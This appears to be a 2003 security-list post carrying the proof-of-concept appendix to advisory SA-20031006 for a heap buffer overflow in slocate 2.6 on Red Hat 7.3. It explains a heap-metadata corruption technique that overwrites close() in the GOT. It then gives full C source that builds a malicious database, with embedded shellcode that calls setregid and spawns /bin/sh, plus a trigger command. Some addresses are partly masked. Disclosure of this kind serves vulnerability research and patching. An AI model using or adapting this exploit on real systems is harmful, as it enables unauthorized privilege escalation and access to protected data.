<<< Date Index >>>     <<< Thread Index >>>

SA-20031006 slocate buffer overflow - exploitation proof



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

======================================================================
Security advisory 20031006 - Appendix A (proof of concept)
- ----------------------------------------------------------------------
  Product:                  slocate
  Vulnerability type:       buffer overflow (corrupt heap)
  Impact:                   gaining elevated privileges
  Severity:                 medium (exploitation proved)
  Issue date:               2003/10/11
  Last updated:             2003/10/11
  
  Security advisory:        SA-20031006
======================================================================



Description
- -----------

Mr. Hornik has discovered vulnerability SA-20031006 in slocate package
version  2.6.  This  is  proof  that  exploitation  is possible and so
unauthorized   users  may  run  arbitraty  code  under  slocate  group
privileges and so read global slocate database.


Exploitation
- ------------

The  exploitation  which  allows overwriting memory management data of
the  heap  was  described  in  original  advisory. We are reffering to
source  lines  from  slocate-2.6-1.src.rpm  from  RH 7.3 here too. The
attached  source  code constants are for RH 7.3 on i686 on 2003/10/10,
except that some parts of them are * here.

The  main  idea  behind  the exploitation is not straightforward, so I
describe  it  below.  The  attached  source code prepares test.db with
following  properties.  It  exploits the bug by:

slocate -i -d test.db `perl -e 'print "B"x1024'`

1, We overwrite one byte of the buffer management headers the overflow
allows  to  overwrite  - it is highest byte of size of memory block of
codedpath. We will trigger realloc on main.c:1269 later.

2,  We are playing here with codedpath, casestr and bucket_of_holding.
They  are  allocated  in this order. When casestr is big enough, it is
placed   on   the   heap  after  codedpath.  By  big  enough  database
bucket_of_holding is reallocated to 0x4002**** region later.

3,  We  need to prepare the area where the codedpath ends according to
overwriten block size so chunk_free called from chunk_realloc will not
fail  because  of  accessing inaccessible memory or finding bad values
there.  But only the highest byte of memory block size can be changed,
so the size change will be multiply of 0x1000000. The needed data (two
small blocks just after overwriten codepath, first memory block marked
as  used)  are  placed  on  0x400*****  by  having them on appropriate
position in database. The change in size is 0x38 * 0x1000000.

4,  We  trigger realloc on main.c:1269, so overwriten block size value
is  used.  We  trigger  realloc  by  prepare path which is longer than
initial  size  (4096  bytes).  We  are  reallocating  to size which is
smaller  than  the overwriten size and big enough to end after casestr
ends.

5,  Then  we  can  overwrite casestr and memory after it by writing to
codedpath  because  memory  management thinks codedpath is so long. We
will  overwrite  the  size  of  memory block of casestr to 0x508 (from
0x408).  Later  free(casestr)  is called and it seems it is top in its
memory  area so free behaves differently than we want. We change it so
comparison of address of next block with top simply fails.

6,  We  place fake memory blocks after casestr such that free(casestr)
overwrites  address  of  close() in GOT to point to our arbitrary code
(by  setting  fake  backward and forward pointers in next (free) block
after  casestr).  On main.c:1357 close(fd) is called and our code gets
the  control.  We  setregid(slocate,slocate) and run the shell. That's
it.


References
- ----------

Security advisory:
http://www.ebitech.sk/patrik/SA/SA-20031006.txt

This proof of exploitation:
http://www.ebitech.sk/patrik/SA/SA-20031006-A.txt


Contact
- -------

Patrik Hornik
- --
Security Consultant

Email: patrik.hornik@xxxxxxxxxx
Phone: +421 905 385 666
PGP KeyID: DFA5BC67



Source code
- -----------

#include <stdio.h>

#define CODEDPATH   0x0805**20
#define DATABASE    0x4002**08
#define JUMP_BY     0x38 
#define GOT_CLOSE   "\x5c\x**\x04\x08"


#define CODED_LENGTH    0x1008
#define PATTERN_LENGTH  0x508


#define STEP_LENGTH 0x1000000



int path_len = 0;
int file_pos = 0;

FILE *f;

void write_buffer(int move,char *buffer,int len,int stop)
{
  char b[3];
  
  if (move > 127 || move < -127)
  {
    b[0] = -128;
    b[1] = (char)(move >> 8);
    b[2] = (char)(move % 256);
    fwrite(b,1,3,f);
    file_pos += 3;
  }
  else
  {
    b[0] = (char)move;
    fwrite(b,1,1,f);
    file_pos += 1;
  }
      
  if (stop)
    buffer[len] = 0;
    
  fwrite(buffer,1,len + 1,f);
  file_pos += len + 1;
  path_len += move;
}

void skip_to_filepos(int move,int pos)
{
  char b[1024];
  
  while (pos > file_pos + 1002)
  {
    memset(b,'A',998);
    write_buffer(move,b,998,1);
  }

  write_buffer(move,b,pos - file_pos - 2,1);
}

void write_to_addr(int address,char *str)
{
  write_buffer((address - CODEDPATH) - path_len,str,strlen(str),0);
}

void write_int(char *buffer,int n)
{
  int i;
  
  for (i=0;i<4;i++)
  {
    buffer[i] = (char)(n % 256);
    n >>= 8;
    
    if (buffer[i] == 0)
    {
      printf("Warning, zero byte!\n");
      exit(-1);
    }
  }
}
  
int main(int argc,char **argv)
{
  char b[32768];
  int i;  

  f = fopen("test.db","w");
  
  b[0] = '0';
  fwrite(b,1,1,f);

  write_buffer(0,b,0,1);  
  
  skip_to_filepos(0,CODEDPATH - 8 + CODED_LENGTH + JUMP_BY * STEP_LENGTH - 
DATABASE);

  
  memset(b,0,8);
  b[4] = 17;
  memset(b + 8,0,8);
  fwrite(b,1,16,f);
  fwrite(b,1,16,f);
  file_pos += 32;
  path_len += 34;

  skip_to_filepos(0,file_pos + 1000000);

  b[0] = JUMP_BY;
  b[1] = 'A';
  write_buffer(-path_len - 1,b,2,1);

  memset(b,'A',2);
  write_buffer(16384,b,2,1);

  write_to_addr(CODEDPATH + CODED_LENGTH - 3,"\x05");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 1,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 2,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 3,"");  
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 4,"\x11");   
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 6,"");   
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 7,"");   
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH,GOT_CLOSE);   
  
  write_int(b,CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16);
  b[4] = 0;
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 4,b);   
  
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 8,"\x10");   
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 10,"");  
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 11,"");  
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 12,"\x10");   
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 14,"");  
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 15,"");
  
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16,
    
"\x31\xc0\x31\xdb\xb3\x15\xeb\x23\x90\x90\x90\x90\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x89\xd9\xb0\x47\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh");
    
  fclose(f);
}



-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.0.2i

iQA/AwUBP4gb4CTdn3LfpbxnEQIHogCg6HpvneLyqND3NOnv5ZnLR9GruLAAnjbu
xq5v7FMLGmqso2i1qWKqfZqk
=/xd8
-----END PGP SIGNATURE-----